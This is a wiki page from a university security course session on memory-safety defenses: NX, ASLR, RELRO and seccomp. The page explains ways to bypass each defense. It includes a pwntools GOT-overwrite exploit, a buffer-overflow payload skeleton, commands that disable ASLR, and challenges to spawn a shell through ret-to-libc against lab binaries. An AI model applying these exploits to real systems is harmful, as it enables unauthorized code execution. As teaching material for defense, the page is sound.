User Tools

Site Tools


Sidebar

session:10

This is an old revision of the document!


0x09. Defense Mechanisms

Resources

Tutorials

The previous sessions (0x06. Shellcodes 1 and 0x07. Shellcodes 2 (advanced)) presented an exploitation scenario that is based on the assumption that machine instructions can be executed from any memory segment belonging to the process. As you can recall from 0x02. Executable File Formats, different sections of an ELF binary are grouped into segments which are loaded into memory when the binary is being executed. This mechanism (and some hardware support) enables 2 important protection mechanisms that will be presented in this session: executable space protection, and address space layout randomization.

In 0x08. Return Oriented Programming we discussed how the PLT/GOT work in relation to resolving addresses of functions from dynamically liked libraries. We also learned how to abuse this process and trigger arbitrary code execution by corrupting GOT entries. We will take this exploit primitive to the next level and explore how it can be used when additional defense mechanisms are in use.

Next, we will introduce the RELRO mitigation, which is designed to preclude the overwriting of relocation sections such as the GOT.

Another defense mechanism we will discuss in seccomp, which enables applications to enforce restrictions on the system calls performed in the process and child processes, thereby creating a sandbox.

Besides presenting these mechanisms, we are also going to take a quick look at how can we bypass them. Since these protections are ubiquitous at this time, you will have to work around them almost every time you build a binary exploit.

The tasks today are designed for 32 bit executables. Make sure you compile with the -m32 flag for gcc. The binaries in the tasks archive are already compiled as such.

Executable Space Protection

The executable space protection is an instance of the principle of least privilege, which is applied in many security sensitive domains. In this case, the executable space protection is used to limit the types of memory access that a process is allowed to make during execution. A memory region (i.e., page) can have the following protection levels: READ, WRITE, and EXECUTE. The executable space protection mandates that writable regions should not be executable at the same time.

The mechanism can be (and was) implemented in many different ways, the most common in Linux being:

NX bit: This is the easiest method, and involves an extra bit added to each page table entry that specifies if the memory page should be executable or not. This is current implementation in 64-bit processors where page table entries are 8-bytes wide.

Physical Address Extension (PAE): Besides the main feature that allows access to more than 4GB of memory, the PAE extension for 32-bit processor also adds a NX bit in its page table entries.

Emulation: The NX bit can be emulated on older (i.e., non-PAE) 32-bit processors by overloading the Supervisor bit (PaX PAGEEXEC), or by using the segmentation mechanism and splitting the address space in half (PaX SEGMEXEC).

This security feature gets in the way of just-in-time (JIT) compilers, which need to produce and write code at runtime, and that is later executed. Since a JIT compiler cannot run in this kind of secured environment, an application using it is vulnerable to attacks known as JIT spraying. The idea was first presented by Dion Blazakis, and is, briefly, a way to force the JIT compiler to produce shellcode.

There are of course other implementations in different hardening-oriented projects such as: OpenBSD W^X, Red Hat Exec Shield, PaX (which is now part of grsecurity), Windows Data Execution Prevention (DEP).

Walk-through

The Linux kernel provides support for managing memory protections in the mmap() and mprotect() syscalls. These syscalls are used by the loader to set protection levels for each segment it loads when running a binary. Of course, the same functions can also be used during execution.

PaX has a protection option that restricts the use of mprotect() and mmap() to avoid resetting the permissions during execution. See MPROTECT. Note that grsecurity/PaX are patches to the kernel, and are not available in normal distributions. You have to compile your own kernel if you want to try them out.

Let's start by deactivating ASLR, which is going to be discussed in the following section of this tutorial, and only focus on the NX protection. We can do this in two ways, as told below:

To disable ASLR system-wide we use (root access is required):

~$ sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

To create a shell with ASLR disabled (ASLR will also be disabled for future processes spawned from that shell), we use (root access is not required):

~$ setarch $(uname -m) -R /bin/bash

Let's first compile an extremely simple C application:

int main() {
    while (1);
}
~$ CFLAGS='-m32 -O0' make hello

As presented in 0x03. Static Analysis,​ the ELF format contains flags for each segment that specify what permissions should be granted. You can use ​readelf -l hello​ to dump all program headers for this binary.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00568 0x00568 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00114 0x00118 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x000490 0x08048490 0x08048490 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss 
   04     .dynamic 
   05     .note.ABI-tag .note.gnu.build-id 
   06     .eh_frame_hdr 
   07     
   08     .init_array .fini_array .jcr .dynamic .got

Check the ​Flg​ column. For example, the first ​LOAD​ segment contains ​.text​ and is marked ​R E,​ while the ​GNU_STACK​ segment is marked ​RW ​.

Next we are interested in seeing calls to ​mmap2()​ and ​mprotect()​ made by the loader. We are going to use the ​strace​ tool for this, and directly execute the loader. You can check the path to the loader on your system using ​ldd hello​.

~$ strace -e mmap2,mprotect /lib/ld-linux.so.2 ./hello
[ Process PID=11198 runs in 32 bit mode. ]
mmap2(0x8048000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0x8048000
mmap2(0x8049000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0x8049000
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7ffc000
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7ffa000
mmap2(NULL, 156324, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff7fd3000
mmap2(NULL, 1763964, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xfffffffff7e24000
mmap2(0xf7fcd000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a9000) = 0xfffffffff7fcd000
mmap2(0xf7fd0000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd0000
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7e23000
mprotect(0xf7fcd000, 8192, PROT_READ)   = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x56575000, 4096, PROT_READ)   = 0

We can observe ​a ​PROT_READ|PROT_EXEC​ mapping ​at address 0x8048000, followed by a ​PROT_READ|PROT_WRITE​ at address 0x8049000 ​that is later changed to ​PROT_READ​ for the first half (4096 bytes). The later allocation is the data segment, that should be writable. We can also see a bunch of allocations ​for segments belonging to dynamic libraries.

Note that the stack is not explicitly allocated by the loader. The kernel will keep increasing it each time a page fault is triggered without calling ​​mmap​. ​Also, the heap will be extended on-demand as the application requires it.

We can dump all memory mappings ​of the still running process as follows:

~$ ps u | grep /lib/ld-linux.so.2 
... 
~$ cat /proc/11198/maps
​ Make sure to use the PID of the loader process, and not the ​strace ​process.
~$ cat /proc/11198/maps
08048000-08049000 r-xp 00000000 00:22 5769082                            /home/vladum/sss/session10/hello
08049000-0804a000 r--p 00000000 00:22 5769082                            /home/vladum/sss/session10/hello
0804a000-0804b000 rw-p 00001000 00:22 5769082                            /home/vladum/sss/session10/hello
56555000-56575000 r-xp 00000000 08:05 827365                             /lib/i386-linux-gnu/ld-2.19.so
56575000-56576000 r--p 0001f000 08:05 827365                             /lib/i386-linux-gnu/ld-2.19.so
56576000-56577000 rw-p 00020000 08:05 827365                             /lib/i386-linux-gnu/ld-2.19.so
f7e23000-f7e24000 rw-p 00000000 00:00 0 
f7e24000-f7fcd000 r-xp 00000000 08:05 823395                             /lib/i386-linux-gnu/libc-2.19.so
f7fcd000-f7fcf000 r--p 001a9000 08:05 823395                             /lib/i386-linux-gnu/libc-2.19.so
f7fcf000-f7fd0000 rw-p 001ab000 08:05 823395                             /lib/i386-linux-gnu/libc-2.19.so
f7fd0000-f7fd3000 rw-p 00000000 00:00 0 
f7ffa000-f7ffd000 rw-p 00000000 00:00 0 
f7ffd000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

Bypassing NX

ret-to-plt/libc. You can return to the .plt section and call library function already linked. You can also call other library functions based on their known offsets. The latter approach assumes no ASLR (see next section), or the possibility of an information leak.

mprotect(). If the application is using mprotect() you can easily call it to modify the permissions and include PROT_EXEC for the stack. You can also call this in a ret-to-libc attack. You can also mmap a completely new memory region and dump the shellcode there.

Return Oriented Programming (ROP). This is a generalization of the ret-to-* approach that makes use of existing code to execute almost anything. As this is probably one of the most common types of attacks, it will be discussed in depth in a future section.

Address Space Layout Randomization

Address Space Layout Randomization (ASLR) is a security feature that maps different memory regions of an executable at random addresses. This prevents buffer overflow-based attacks that rely on known addresses such as the stack (for calling into shellcode), or dynamically linked libraries (for calling functions that were not already linked with the target binary). Usually, the sections that are randomly mapped are: the stack, the heap, the VDSO page, and the dynamic libraries. The code section can also be randomly mapped for PIE binaries.

Linux allows 3 options for its ASLR implementation that can be configured using the /proc/sys/kernel/randomize_va_space file. Writing 0, 1, or 2 to this will results in the following behaviors:
  • 0: deactivated
  • 1: random stack, vdso, libraries; heap is after code section; random code section (only for PIE-linked binaries)
  • 2: random heap too

Make sure you reactivate ASLR after the previous section of the tutorial, by one of the two options below.

If you disabled ASLR system-wide, re-enable it using (root access is required):

~$ sudo bash -c 'echo 2 > /proc/sys/kernel/randomize_va_space'

If you disabled ASLR at shell level, simply close the shell such as issuing the Ctrl+d keyboard shortcut.

We can easily demonstrate the effects on shared libraries by running ldd multiple times in a row on a binary such as /bin/ls.

In GDB, ASLR is disabled by default in order to reduce the non-determinism and make debugging easier. However, when developing exploits we will sometimes want to test them in conjunction with ASLR. To enable ASLR in GDB, use the following command:

gdb-peda$ set disable-randomization off

Bypassing ASLR

Bruteforce. If you are able to inject payloads multiple times without crashing the application, you can bruteforce the address you are interested in (e.g., a target in libc). Otherwise, you can just run the exploit multiple times. Another thing to keep in mind is that, as addresses are randomized at load-time, child processes spawned with fork inherit the memory layout of the parent.

Take the following scenario: we interact with a vulnerable sever that handles connections by forking to another process. We manage to obtain a leak from a child process but we are not able to create an exploit chain that leads to arbitrary code execution. However, we may still be able to use this leak in another connection, since the new process will have the same address space as the previous.

NOP sled. In the case of shellcodes, a longer NOP sled will maximize the chances of jumping inside it and eventually reaching the exploit code even if the stack address is randomized. This is not very useful when we are interested in jumping to libc or other functions, which is usually the case if the executable space protection is also active.

jmp esp. This will basically jump into the stack, no matter where it is mapped. It's actually a very rudimentary form of Return Oriented Programming which was discussed in the previous session.

Restrict entropy. There are various ways of reducing the entropy of the randomized address. For example, you can decrease the initial stack size by setting a huge amount of dummy environment variables.

Partial overwrite. This technique is useful when we are able to overwrite only the least significant byte(s) of an address (e.g. a GOT entry). We must take into account the offsets of the original and final addresses from the beginning of the mapping. If these offsets only differ in the last 12 bits, the exploit is deterministic, as the base of the mapping is aligned to 0x1000. For example, the offsets of read and write in libc6_2.27-3ubuntu1.2_i386 are suitable for a partial overwrite:

gdb-peda$ p read
$1 = {<text variable, no debug info>} 0xe6dd0 <__GI___libc_read>
gdb-peda$ p write
$2 = {<text variable, no debug info>} 0xe6ea0 <__GI___libc_write>

Otherwise, we can still try to overwrite a larger part of the address in combination with bruteforce.

Information leak. The most effective way of bypassing ASLR is by using an information leak vulnerability that exposes randomized address, or at least parts of them. You can also dump parts of libraries (e.g., libc) if you are able to create an exploit that reads them. This is useful in remote attacks to infer the version of the library, downloading it from the web, and thus knowing the right offsets for other functions (not originally linked with the binary).

Tutorial: Chaining Information Leaks with GOT Overwrite

In this tutorial we will exploit a program that is similar to 02-challenge-no-ret-control from the previous session:

#include <stdio.h>
#include <unistd.h>
 
int main() {
	int *addr;
 
	printf("Here's a libc address: 0x%08x\n", printf);
 
	printf("Give me and address to modify!\n");
	scanf("%p", &addr);
 
	printf("Give me a value!\n");
	scanf("%u", addr);
 
	sleep(10);
 
	printf("Abandon all hope ye who reach this...\n");	
}

The goal is to alter the execution flow and avoid reaching the final printf. To this end, we will overwrite the sleep entry in GOT and redirect it to exit. However, due to ASLR, the value can not be hardcoded and must be computed at runtime.

Whenever we operate with addresses belonging to shared libraries, we must be aware that the offsets are highly dependent on the particular build of the library. We can identify this build either by its BuildID (retrieved with the file command), or by its version string:

silvia@imladris:/sss/got_overwrite$ ldd ./got_overwrite
    linux-gate.so.1 (0xf7ee8000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7ccc000)
    /lib/ld-linux.so.2 (0xf7ee9000)
silvia@imladris:/sss/got_overwrite$ file $(realpath /lib/i386-linux-gnu/libc.so.6)
/lib/i386-linux-gnu/libc-2.27.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=cf1599aa8b3cb35f79dcaea7a8b48704ecf42a19, for GNU/Linux 3.2.0, stripped
silvia@imladris:/sss/got_overwrite$ strings /lib/i386-linux-gnu/libc.so.6 | grep "GLIBC "
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27.

Alternatively, if we don't have prior knowledge of the remote system where the binary runs, but obtain via an information leak some addresses, we may be able to identify the libc based on the last 3 nibbles of these addresses.

For example, we have the following pair of addresses:

0xf7df6250 <__libc_system>
0xf7e780e0 <__sleep>

We enter them in the libc database and get a match for the same libc build we determined earlier.

For this libc, we obtain the offsets of the functions we are interested in using GDB:

silvia@imladris:/sss/got_overwrite$ gdb -q -n /lib/i386-linux-gnu/libc.so.6
(gdb) p printf
$1 = {<text variable, no debug info>} 0x513a0 <__printf>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x30420 <__GI_exit>

We will also need the address of sleep@got (which is static because the binary is not position independent):

silvia@imladris:/ctf/sss/demo/got_overwrite$ objdump -d -M intel -j .plt ./got_overwrite | grep "sleep@plt" -A1
080483b0 <sleep@plt>:
 80483b0:   ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c

We start the program and compute the address of exit based on the leak of printf (in another terminal):

>>> printf_offset = 0x513a0
>>> exit_offset = 0x30420
>>> 0xf7dfb3a0 - printf_offset + exit_offset
4158497824
silvia@imladris:/sss/got_overwrite$ ./got_overwrite
Here's a libc address: 0xf7dfb3a0
Give me and address to modify!
0x804a00c
Give me a value!
4158497824
silvia@imladris:/sss/got_overwrite$ echo $?
10

As we intended, the GOT entry corresponding to sleep was overwritten by exit and the program exited with code 10 without printing the final message.

The following pwntools script automates this interaction:

from pwn import *
 
p = process('./got_overwrite')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
 
sleep_got = p.elf.got['sleep']
 
p.recvuntil('libc address:')
libc_leak = int(p.recvuntil('\n')[:-1], 16)
libc_base = libc_leak - libc.symbols['printf']
 
print("Libc base is at: 0x%x" % libc_base)
 
exit = libc_base + libc.symbols['exit']
 
p.sendline(hex(sleep_got))
 
p.recvuntil('value!')
p.sendline(str(exit))
 
p.interactive()

Challenges

01. Challenge - ret-to-libc

Looks good! Let's get serious and do something useful with this.

Continue working in the 01-tutorial-ret-to-libc/ folder in the activities archive.

The final goal of this task is to bypass the NX stack protection and call system(“/bin/sh”). We will start with a simple ret-to-plt:

  1. Display all libc functions linked with the auth binary.
  2. Return to puts(). Use ltrace to show that the call is actually being made.
  3. Find the offset of the “malloc failed” static string in the binary.
  4. Make the binary print “failed” the second time puts is called.
  5. (bonus) The process should SEGFAULT after printing “Enter password:” again. Make it exit cleanly (the exit code does not matter, just no SIGSEGV). You can move on to the next task without solving this problem.
  6. Remember how we had ASLR disabled? The other libc functions are in the memory, you just need to find their addresses. Find the offset of system() in libc. Find the offset of the “/bin/sh” string in libc.
  7. Where is libc linked in the auth binary? Compute the final addresses and call system(“/bin/sh”) just like you did with puts.
Hint: Use LD_TRACE_LOADED_OBJECTS=1 ./auth instead of ldd. The latter is not always reliable because the order in which it loads the libraries might be different than when you actually run the binary.
Hint: When you will finally attack this, stdin will get closed and the new shell will have nothing to read. Use cat to concatenate your attack string with stdin like this: cat <(python -c 'print “L33T_ATTACK”') - | ./vulnbinary.

02. Challenge - no-ret-control

Go to the 02-challenge-no-ret-control/ folder in the activities archive.

Imagine this scenario: we have an executable where we can change at least 4B of random memory, but ASLR is turned on. We cannot reliably change the value of the return address because of this. Sometimes ret is not even called at the end of a function.

Alter the execution of force_exit, in order to call the secret function.

03. Challenge - ret-to-plt

Go to the 03-challenge-ret-to-plt/ folder in the activities archive.

random is a small application that generates a random number.

Your task is to build an exploit that makes the application always print the same second random number. That is the first printed random number is whatever, but the second printed random number will always be the same, for all runs. In the sample output below the second printed random number is always 1023098942 for all runs.

hari@solyaris-home:~$ python -c 'print <payload here>' | ./random
Hi! Options:
	1. Get random number
	2. Go outside
Here's a random number: 2070249950. Have fun with it!
Hi! Options:
	1. Get random number
	2. Go outside
Here's a random number: 1023098942. Have fun with it!
Segmentation fault (core dumped)
hari@solyaris-home:~$ python -c 'print <payload here>' | ./random
Hi! Options:
	1. Get random number
	2. Go outside
Here's a random number: 1152946153. Have fun with it!
Hi! Options:
	1. Get random number
	2. Go outside
Here's a random number: 1023098942. Have fun with it!

You can use this Python skeleton for buffer overflow input:

skel.py
#!/usr/bin/python
import struct, sys
 
def dw(i):
	return struct.pack("<I", i)
 
#TODO update count for your prog
pad_count_to_ret = 100
payload = "X" * pad_count_to_ret
 
#TODO figure out where to return
ret_addr = 0xdeadbeef
payload += dw(ret_addr)
 
 
#TODO add stuff after the payload if you need to
payload += ""
 
sys.stdout.write(payload)

Bonus: The process should SEGFAULT after printing the second (constant) number. Make it exit cleanly (the exit code does not matter, just no SIGSEGV).

04. Challenge - colors

Go to the 04-challenge-colors/ folder in the activities archive.

Hint: If you are going to use an inline python command, stdin will get closed and the new shell will have nothing to read. Use cat to concatenate your attack string with stdin like this: cat <(python -c 'print "L33T_ATTACK"') - | ./vulnbinary
04.a.

Exploit the colors binary and call system(). Disregard the string parameter of system() for now.

04.b.

ASLR still disabled. Call system("blue"). Get a shell with this. Hint: Where will it search for the “blue” command?

04.c.

Again, ASLR disabled. Call system("/bin/sh") without using the previous trick.

05. Challenge - bruteforce

Continue working in the 04-challenge-colors/ folder in the activities archive.

Try the previous exploit with ASLR enabled. You can rerun the binary multiple times.

Figure out how addresses look like using LD_TRACE_LOADED_OBJECTS=whatever ./colors multiple times. How many bits do change? Run the program multiple times with some fixed addresses for system and /bin/bash in the payload.
The ASLR entropy on 32-bit systems if pretty low, which makes this bruteforce attack feasible. On 64-bit platforms you will need an information leak, and a 2-stage exploit. We are going to discuss this in a future session.

06. Challenge - mprotect

Go to either the 03-challenge-ret-to-plt/ or 04-challenge-colors/ folder in the activities archive.

Using any of the 2 binaries, try to call mprotect() in order to change the protection flags of the stack, then inject a shellcode similar to the ones in the previous session.

To make your life easier, you can disable ASLR. The purpose of this task is to bypass NX, and not ASLR.
Hint: The ulimit -s unlimited trick will make the stack get mapped at a fixed address.
session/10.1594571863.txt.gz · Last modified: 2020/07/12 19:37 by Silvia Pripoae